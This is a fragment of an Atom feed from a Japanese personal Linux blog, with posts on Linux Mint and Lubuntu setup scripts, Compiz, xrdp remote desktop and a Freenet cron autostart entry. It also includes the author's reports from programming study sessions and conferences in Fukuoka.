term="xrdp"/><category scheme="http://www.blogger.com/atom/ns#" term="シェルスクリプト"/><category scheme="http://www.blogger.com/atom/ns#" term="日本語化"/><title type='text'>Linux mint MATE関連シェルスクリプト</title><content type='html'>Linux mint MATE クリーンインストール時の自分用スクリプト。&lt;br /&gt;
日本語化&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;#!/bin/sh

wget -q http://linuxmint-jp.net/linuxmint-ja-archive-keyring.gpg -O- | sudo apt-key add -
sudo wget http://linuxmint-jp.net/sources.list.d/linuxmint-ja.list -O /etc/apt/sources.list.d/linuxmint-ja.list
sudo apt-get -y update
sudo apt-get -y dist-upgrade
sudo apt-get -y install mint-gnome-ja
&lt;/pre&gt;
&lt;br /&gt;
xrdp日本語キーレイアウトFix
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;#!/bin/sh

cd /etc/xrdp
wget http://www.mail-archive.com/xrdp-devel@lists.sourceforge.net/msg00263/km-e0010411.ini
mv -v km-e0010411.ini km-0411.ini 
chmod -v 644 km-0411.ini 
ln -sv km-0411.ini km-e0010411.ini 
ln -sv km-0411.ini km-e0200411.ini 
ln -sv km-0411.ini km-e0210411.ini
&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/4880572502580295914/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/07/linux-mint-mate.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4880572502580295914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4880572502580295914'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/07/linux-mint-mate.html' title='Linux mint MATE関連シェルスクリプト'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-6690135038630419118</id><published>2013-03-17T15:39:00.001+09:00</published><updated>2013-03-17T15:39:33.165+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="compiz"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Mint Mate"/><title type='text'>Linux MINT Mate Compiz 有効化</title><content type='html'>&lt;br /&gt;
ちょっとメモ程度に貼り付け。&lt;br /&gt;
&lt;br /&gt;
How to install compiz on Linux Mint 14 Nadia Mate edition:&lt;br /&gt;
&lt;br /&gt;
1- install the followig packages:&lt;br /&gt;
&lt;br /&gt;
- compiz-gnome&lt;br /&gt;
- compizconfig-settings-manager&lt;br /&gt;
- fusion-icon&lt;br /&gt;
- compiz-plugins-extra&lt;br /&gt;
- libdecoration0-dev&lt;br /&gt;
&lt;br /&gt;
2- In terminal run &quot;compiz --replace&quot; or run Compiz Fusion Icon and choose compiz as your window manager.&lt;br /&gt;
&lt;br /&gt;
3- Go to Startup Applications click on add and in the name field write &quot;compiz&quot; and in the command field enter &quot;compiz --replace&quot;(without the punctuation) click on Add again then Close. This is to make compiz start automatically on next logins.&lt;br /&gt;
&lt;br /&gt;
4- To stop that high CPU usage run in terminal “mateconf-editor”. When the editor opens go to /desktop/mate/session/required_components/windowmanager and replace &quot;marco&quot; with &quot;compiz&quot;.&lt;br /&gt;
&lt;br /&gt;
3- install &quot;dconf-editor&quot; by runnig in terminal:&lt;br /&gt;
&lt;br /&gt;
sudo apt-get install dconf-tools&lt;br /&gt;
&lt;br /&gt;
Then press ALT + F2 and run: &quot;dconf-editor&quot;, navigate to org &amp;gt; gnome &amp;gt; desktop &amp;gt; vm &amp;gt; preferences and change the &quot;theme&quot; value from &quot;Adwaita&quot; to any other installed theme you want. Remember this because in the same place you can also change the window button layout, among others.&lt;br /&gt;
&lt;br /&gt;
4- Start the Compiz Configuration Settings Manager and check &quot;Move Window&quot; and &quot;Move Window&quot; and any other functions you want to activate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5- To remove compiz with all related packages (dependencies) run in terminal:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sudo apt-get purge compiz compiz-plugins-main-default libcompizconfig0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Warning: Removing compiz also removes the packages unity &amp;amp; ubuntu-desktop.&lt;br /&gt;
&lt;br /&gt;
Warning: Removing libcompizconfig0 also removes ubuntu-tweak.&lt;br /&gt;
&lt;br /&gt;
Thus you will lose the ability to log into the unity or unity-2d desktops if you have them installed on your Mint.&lt;br /&gt;
&lt;br /&gt;
Note: if you uninstall compiz you have to prompt a terminal and run “mateconf-editor” and when the editor opens go to /desktop/mate/session/required_components/windowmanager and replace &quot;compiz&quot; with &quot;marco&quot;.&lt;br /&gt;
&lt;br /&gt;
Note: compiz has been forked for Mate a few months back. You can find it at http://forums.linuxmint.com/viewtopic.php?f=217&amp;amp;t=114613 with a complete tutorial as on how to install it !! Check it out It rocks!!&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/6690135038630419118/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/03/linux-mint-mate-compiz.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6690135038630419118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6690135038630419118'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/03/linux-mint-mate-compiz.html' title='Linux MINT Mate Compiz 有効化'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-7412168885286856858</id><published>2013-03-16T21:20:00.000+09:00</published><updated>2013-03-16T21:21:35.841+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="アセンブリ"/><category scheme="http://www.blogger.com/atom/ns#" term="勉強会"/><title type='text'>プログラミング生放送勉強会 第21回＠福岡 #pronama 参加その後・・</title><content type='html'>&lt;a href=&quot;http://atnd.org/events/37019&quot; target=&quot;_blank&quot;&gt;プログラミング生放送勉強会 第21回＠福岡 #pronama&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
参加してきました。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
プロ生なるものを初めて知ったのですが、&lt;strike&gt;プロ生ちゃんマジ天使&lt;/strike&gt;&lt;/div&gt;
&lt;div&gt;
面白そうだったので参加しました。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
参加を決める決定打は、アセンブラに関するセッションがあること。&lt;/div&gt;
&lt;div&gt;
以下自分なりに軽くまとめます。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
1. ディスプレイよりこっち側をプログラミング&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
組み込み基盤になんかマリオのコインの音出力させてた。&lt;/div&gt;
&lt;div&gt;
まぁこういう世界もあるんだなぁと、ハードウェアプログラミングとは&lt;/div&gt;
&lt;div&gt;
無縁の私にはよくわかりませんでした・・。すみません。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
2. Androidのテストってどないすんねん！&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
自分が一番関わる可能性が高い、一番実務的に勉強になったのがこのセッション。&lt;/div&gt;
&lt;div&gt;
会場のメモそのまま貼り付け。&lt;/div&gt;
&lt;div&gt;
--&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
UIテストの自動化（バージョンアップ時、新機種登場時）&lt;/div&gt;
&lt;div&gt;
- Android SDK標準のテスティングフレームワークは使いづらい&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
ドメインロジックの分離&lt;/div&gt;
&lt;div&gt;
・Webアプリケーションとアプローチは同じ&lt;/div&gt;
&lt;div&gt;
（何でもActivityに書くのはダメ）&lt;/div&gt;
&lt;div&gt;
・Androidに依存しなければJUNITで普通にテストが書ける。&lt;/div&gt;
&lt;div&gt;
　JUNIT4とか使える&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
画面構成に依存したテストは書かない&lt;/div&gt;
&lt;div&gt;
NativeDriverを使用する&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Activityを操作するDriverクラスを作って、Driverクラス経由でActivityを&lt;/div&gt;
&lt;div&gt;
操作してテストする&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Androidでテストせず普通のJavaクラスとしてJUINTでテストする。&lt;/div&gt;
&lt;div&gt;
ビジネスロジックの品質はこちらで担保&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
UIテストでは、NativeDriverを使うのが良い。テストを書くにも保守するにもコストがかかる。&lt;/div&gt;
&lt;div&gt;
リスクと費用対効果の観点から集中が必要。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
設計段階でテスタビリティを考慮すること。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
DI(RoboGuiceなど）やモックライブラリ（Mockitoなど）を導入する&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
テストカバレッジ100％はプロジェクトが炎上するから割り切りが必要。&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
3. 温故知新、アセンブリ言語を触ってみる&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
このセッション、実はこれが一番目当てのセッションで参加した。&lt;/div&gt;
&lt;div&gt;
セッション参加してみての感想としては、参加して良かった！&lt;/div&gt;
&lt;div&gt;
わざわざ足を運んだかいがあった！という感じ。&lt;/div&gt;
&lt;div&gt;
専門学校時代にCASL2をかじった程度の自分には内容は難しく感じたものの、&lt;/div&gt;
&lt;div&gt;
本物のアセンブリのソースがチラチラ見れたり解説がわかりやすく&lt;/div&gt;
&lt;div&gt;
大変興味深かった。&lt;/div&gt;
&lt;div&gt;
とりあえず「お〜！なるほど！」と思ったのが&lt;/div&gt;
&lt;div&gt;
--&lt;/div&gt;
&lt;div&gt;
xor eax,eax でeaxは0になるんだよね（move eax,0 よりはやい)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
--&lt;/div&gt;
&lt;div&gt;
即値(リテラル)を使うより、上記のように0を算出したほうが高速に動作するらしいという事。&lt;/div&gt;
&lt;div&gt;
専門学校時代に「XORっていうのは、違ったら1で同じだったら0になるんだよ！」&lt;/div&gt;
&lt;div&gt;
と習ったのを思い出しました。&lt;/div&gt;
&lt;div&gt;
上記のソースで言うと eaxとeaxは同じものだから、必ず0になるんですね。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
4.&amp;nbsp;FPGA でおれおれコンピュータつくるよ&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
プレゼン中にプレゼン資料をWindowsのペイントで手書きしながらプレゼンするという&lt;/div&gt;
&lt;div&gt;
発表スタイルが周りの笑いを誘うｗ&lt;/div&gt;
&lt;div&gt;
内容は難しく正直ほとんど理解できなかったのが私の未熟なところ。&lt;/div&gt;
&lt;div&gt;
いやーしかし凄い、頭の中に全部入ってないとあんな即興的なプレゼンは&lt;/div&gt;
&lt;div&gt;
出来ないと思う。天才なんだろうなぁ・・・・・・。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
以下LT(ライトニングトーク)があったんですが、一言書くとするなら&lt;/div&gt;
&lt;div&gt;
LISPer 怖ぇぇ・・・・・。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
お疲れ様でした。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
自分がなにかLTで発表するようなネタを持っているかな？と&lt;/div&gt;
&lt;div&gt;
考えを巡らせてみたりするんですが、特に凄いプログラミング能力を&lt;/div&gt;
&lt;div&gt;
持っているわけでもないし、話が得意というわけでもなく&lt;/div&gt;
&lt;div&gt;
自分が得意なことと言えばLinuxの事かなぁ〜？ぐらいで&lt;/div&gt;
&lt;div&gt;
なんかまだまだLTとか出来る気がしません。&lt;/div&gt;
&lt;div&gt;
セキュリティの勉強会で自己紹介すら満足に出来なかったレベルじゃ&lt;/div&gt;
&lt;div&gt;
まだまだ敷居が高そうですね・・・・。&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/7412168885286856858/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/03/21-pronama.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7412168885286856858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7412168885286856858'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/03/21-pronama.html' title='プログラミング生放送勉強会 第21回＠福岡 #pronama 参加その後・・'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-2949950424951946558</id><published>2012-12-09T19:09:00.001+09:00</published><updated>2012-12-09T19:09:45.973+09:00</updated><title type='text'>Java セキュアコーディングセミナー @福岡 参加</title><content type='html'>Java セキュアコーディングセミナー @福岡 に本日参加してきました。&lt;br /&gt;
参加しての感想・・・・&lt;br /&gt;
内容が凄く濃かった・・・。&lt;br /&gt;
自分みたいななんとなくJavaのコード書いてるぜ！っていう程度の人間では&lt;br /&gt;
セミナーの解説についていくのに必死。&lt;br /&gt;
ノートパソコン持参でハンズオン(実際にコードを書いたりしてみる事)形式&lt;br /&gt;
だったので、非常に良かったです。&lt;br /&gt;
&lt;br /&gt;
みんな当たり前のように英語のドキュメントをサクサク読み進めるのね・・・・。&lt;br /&gt;
インフラ上がりなのでインフラ関係では海外サイトとか見て情報取得して&lt;br /&gt;
構築したりしていましたが、開発のAPIドキュメントとかを&lt;br /&gt;
英語だけで理解して使いこなすのはとても難しそうに感じます。&lt;br /&gt;
&lt;br /&gt;
やはり今の課題は「英語」に尽きるのかな・・・・。英語力ほんと重要。&lt;br /&gt;
ソフトウェアの翻訳をボランティアでこなしつつ英語力をつけようかと&lt;br /&gt;
思ったりしています。&lt;br /&gt;
&lt;br /&gt;
全く普段意識したこともないような細かいJavaの言語仕様について&lt;br /&gt;
きっちりと説明されていたので、大変有意義でした。&lt;br /&gt;
参加してみて、あまりの自分のレベルの低さに愕然としました。&lt;br /&gt;
&lt;br /&gt;
まだまだ駆け出しプログラマ。これからも積極的にこういった素晴らしい&lt;br /&gt;
勉強会に参加して、スキルアップをすべきだなと痛感しました。&lt;br /&gt;
&lt;br /&gt;
さて、今日のセミナーの復習をしましょう・・・・・・・・。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/2949950424951946558/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/12/java.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2949950424951946558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2949950424951946558'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/12/java.html' title='Java セキュアコーディングセミナー @福岡 参加'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-2949530729969949998</id><published>2012-12-09T18:39:00.003+09:00</published><updated>2012-12-09T18:46:52.139+09:00</updated><title type='text'>オープンソースカンファレンス 福岡 2012 参加してみての感想</title><content type='html'>オープンソースカンファレンス 福岡 ２０１２&lt;br /&gt;
&lt;a href=&quot;https://www.ospn.jp/osc2012-fukuoka/&quot;&gt;https://www.ospn.jp/osc2012-fukuoka/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
参加してきました。参加したセッション一覧は下記。&lt;br /&gt;
&lt;pre&gt;10:00 - 10:45
OSSライセンスの初歩

11:00 - 11:45
Androidセキュアコーディング

12:00 - 12:45
オープンソースソフトウェアの翻訳をやらないか

13:00 - 13:45
jus研究会福岡大会「IT業界を良くする方法」

14:00 - 14:45
オープンソースの総合オフィスソフトLibreOfficeの最新動向

15:15 - 16:00
事例からみるLibreOffice導入ガイド

16:15-17:00
OpenSUSEで始める脆弱性管理入門
&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
&lt;br /&gt;
OSSライセンスの初歩はちょっと遅れてしまったので途中からになっちゃいましたが&lt;br /&gt;
やはりライセンスはちょっと難しい。セッション聞いただけではまだまだ全然&lt;br /&gt;
理解不足だと思います。&lt;br /&gt;
&lt;br /&gt;
Androidセキュアコーディングは、SQLite扱うときに .dbファイルの&lt;br /&gt;
パーミッションに気をつけろよ、SQLiteHelperクラスが推奨だよっていう&lt;br /&gt;
感じの内容でした。otherにread権限持たせると他アプリからDBの内容&lt;br /&gt;
読めると。ふむふむ。&lt;br /&gt;
&lt;br /&gt;
オープンソースソフトウェアの翻訳をやらないか　セッションは&lt;br /&gt;
Ubuntuのソフトウェアを題材に実際に翻訳ってどうやるのっていう&lt;br /&gt;
プロセスがデモでされたのがとても分かりやすくてよかった。&lt;br /&gt;
時間を作って翻訳のお手伝いをしてみたいなと思った次第。&lt;br /&gt;
あ、でも英語力・・・　英語勉強します＞＜&lt;br /&gt;
&lt;br /&gt;
jus研究会福岡大会「IT業界を良くする方法」 について。&lt;br /&gt;
もっと一人ひとりのタスク量を減らすとか、IT系だからこそもっとITを活用(VPNとか&lt;br /&gt;
Redmineとか。エクセルで手作業、え？なにそれ美味しいの？)すべきって&lt;br /&gt;
感じの内容でディスカッション。勉強になりました。&lt;br /&gt;
&lt;br /&gt;
オープンソースの総合オフィスソフトLibreOfficeの最新動向 は、講師がかっこよかった&lt;br /&gt;
んですが、具体的にMS Officeから移行する技術的な要素というのを&lt;br /&gt;
期待していただけにちょっと扱うトピックが違ったのかなという印象。&lt;br /&gt;
ただ色々なところで使われだしているんですな。&lt;br /&gt;
&lt;br /&gt;
事例からみるLibreOffice導入ガイド もう１個LibreOfficeセッションに参加した。&lt;br /&gt;
こちらは実際にLibreOffice導入プロジェクトでどういう点に苦労したかとか&lt;br /&gt;
それをどうやって解決したといったエピソードの紹介。&lt;br /&gt;
聞いてて思ったのが、一般ユーザはそこまでリテラシが無いので、移行は相当&lt;br /&gt;
大変だという事・・・。結局MS Officeを根絶することはできずにハイブリッド運用&lt;br /&gt;
になってしまっているあたり、なんとも・・・LibreOfficeへ完全移行する方法&lt;br /&gt;
みたいなのを期待していただけに現実は厳しいなぁと痛感。MSめ・・・・。&lt;br /&gt;
&lt;br /&gt;
OpenSUSEで始める脆弱性管理入門 OpenVASでセキュリティ診断っていう&lt;br /&gt;
内容で期待していたセッション。当日までに実際にOpenVASを動かして予習&lt;br /&gt;
していたものの、実際のセッションでは講師のPCに問題が発生してデモは&lt;br /&gt;
急遽中止に。うーん、残念。どっちかって言うとOpenVASの話より&lt;br /&gt;
SUSE Linuxの話が多めだったような。YAST？なにそれ美味しいの？apt-getの&lt;br /&gt;
ほうがいいよ！　とか思ったり。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
上のフロアで展示ブースとかやってたみたいだけど、全部の時間のセッションに参加&lt;br /&gt;
してしまったので展示ブースは見られず・・・。&lt;br /&gt;
ちょっと空けて展示ブース行けばよかったなと後悔。&lt;br /&gt;
&lt;br /&gt;
色々刺激にはなったので、また来年も参加しようと思います。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/2949530729969949998/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/12/2012.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2949530729969949998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2949530729969949998'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/12/2012.html' title='オープンソースカンファレンス 福岡 2012 参加してみての感想'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-5273692269974618893</id><published>2012-11-19T23:20:00.000+09:00</published><updated>2012-11-19T23:20:28.265+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Lubuntu"/><title type='text'>Lubuntu環境で、プリインストールの不要なゲームを削除する</title><content type='html'>Lubuntuインストール後、ソリティア(のGNU版)とかゴルフとか&lt;br /&gt;
色々要らないゲームが入っています。&lt;br /&gt;
これを簡単に全て削除する方法。&lt;br /&gt;
&lt;br /&gt;
以下のコマンド一発でOK&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo apt-get purge ace-of-penguins
&lt;/pre&gt;
ちなみに元ネタはこちら&lt;br /&gt;
&lt;a href=&quot;http://lubuntu.net/blog/lubuntu-screencast-removing-games-short-introduction-metapackages&quot;&gt;http://lubuntu.net/blog/lubuntu-screencast-removing-games-short-introduction-metapackages&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
このビデオだとGUIでやってるけど、上記コマンド一発の方が早い。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/5273692269974618893/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/11/lubuntu.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/5273692269974618893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/5273692269974618893'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/11/lubuntu.html' title='Lubuntu環境で、プリインストールの不要なゲームを削除する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-340136300252481279</id><published>2012-10-15T22:01:00.000+09:00</published><updated>2012-10-15T22:01:15.851+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Java"/><title type='text'>JavaCodingStandard2004 読んだ</title><content type='html'>&lt;a href=&quot;http://ja.scribd.com/doc/220015/JavaCodingStandard2004&quot;&gt;http://ja.scribd.com/doc/220015/JavaCodingStandard2004&lt;/a&gt;&lt;br /&gt;
↑これ、JavaCodingStandard2004 今日全部読んだ。&lt;br /&gt;
自分みたいな元インフラ技術者で、ここ１年以内ぐらいでプログラマになった&lt;br /&gt;
人間からすれば、とてもありがたくて体系的にまとまっている文章で&lt;br /&gt;
とても勉強になった。Javaはまだ初心者かな？と思う初心者のかたも&lt;br /&gt;
自分はJavaならかなりイケる！って自信ある方も一度目を通すといいかも。&lt;br /&gt;
&lt;br /&gt;
内容には納得できる説明とサンプルコードが掲載されていて理解しやすかった。&lt;br /&gt;
かなり個人的には良いドキュメントだと思ったのでブログで広めてみたりしてみたり。&lt;br /&gt;
&lt;br /&gt;
やっぱりプログラマなら分かりやすくて綺麗なコード書きたいよね。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/340136300252481279/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/10/javacodingstandard2004.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/340136300252481279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/340136300252481279'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/10/javacodingstandard2004.html' title='JavaCodingStandard2004 読んだ'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-8976043131524604931</id><published>2012-10-10T19:15:00.000+09:00</published><updated>2012-10-10T19:15:04.442+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Freenet"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Lubuntu"/><title type='text'>Linux環境でFreenetが自動起動してしまう問題</title><content type='html'>Lubuntu環境でFreenetをとりあえずインストールしてみたんですが&lt;br /&gt;
なんかOS起動するたびに異常に重いので調べてみると プロセス名 java が&lt;br /&gt;
CPUを70％程食ってました。なんだろうと調査してみると正体はFreenet。&lt;br /&gt;
&lt;br /&gt;
どこで勝手に起動しているのだろうかと調べてもなかなかトリガが見つからず。&lt;br /&gt;
やっと見つけたのが、超以外な場所にありました。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ crontab -l
@reboot   &quot;/home/【ユーザ名】/Freenet/run.sh&quot; start 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null #FREENET AUTOSTART - 8888
&lt;/pre&gt;
インストーラが勝手に自動起動をcronに仕込むとは斬新すぎる・・・。&lt;br /&gt;
コメントアウトして無効化してやりました。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/8976043131524604931/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2012/10/linuxfreenet.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8976043131524604931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8976043131524604931'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2012/10/linuxfreenet.html' title='Linux環境でFreenetが自動起動してしまう問題'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-1783503287872940220</id><published>2012-07-24T20:06:00.003+09:00</published><updated>2012-07-24T20:06:30.592+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Lubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="xrdp"/><category scheme="http://www.blogger.com/atom/ns#" term="キーマップ"/><category scheme="http://www.blogger.com/atom/ns#" term="リモートデスクトップ"/><title type='text'>Lubuntu 12.04 で快適なリモートデスクトップ環境を構築する</title><content type='html'>Linux版のリモートデスクトップサーバ（以下RDPサーバ）の実装に xrdp というパッケージが&lt;br /&gt;
&lt;div&gt;
あります。しかしLubuntu 12.04へインストールするだけでは正常に接続できません。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
まずはそれの修正。&lt;/div&gt;
&lt;div&gt;
xrdpだけじゃなくて下記パッケージも必要みたい。&lt;br /&gt;
&lt;div class=&quot;prettyprint&quot;&gt;
$ sudo apt-get install xrdp xvfb vnc4server lxde-common
&lt;/div&gt;
これをインストールして&lt;br /&gt;
&lt;div class=&quot;prettyprint&quot;&gt;
$ sudo /etc/init.d/xrdp restart
&lt;/div&gt;
で、xrdpサーバを再起動する。&lt;br /&gt;
上記まででRDPクライアントから接続可能になります。&lt;br /&gt;
&lt;br /&gt;
そのままではキーボードが英語キーボードなので、&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif; font-size: 13px;&quot;&gt;xrdp 0.5.0 の日本語キーマップ&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.eonet.ne.jp/~smallbear/X/xrdp-jpkeymap.html&quot; style=&quot;color: #d30000; font-family: Verdana, sans-serif; font-size: 13px;&quot;&gt;http://www.eonet.ne.jp/~smallbear/X/xrdp-jpkeymap.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
上記サイトの通りに作業する。&lt;br /&gt;
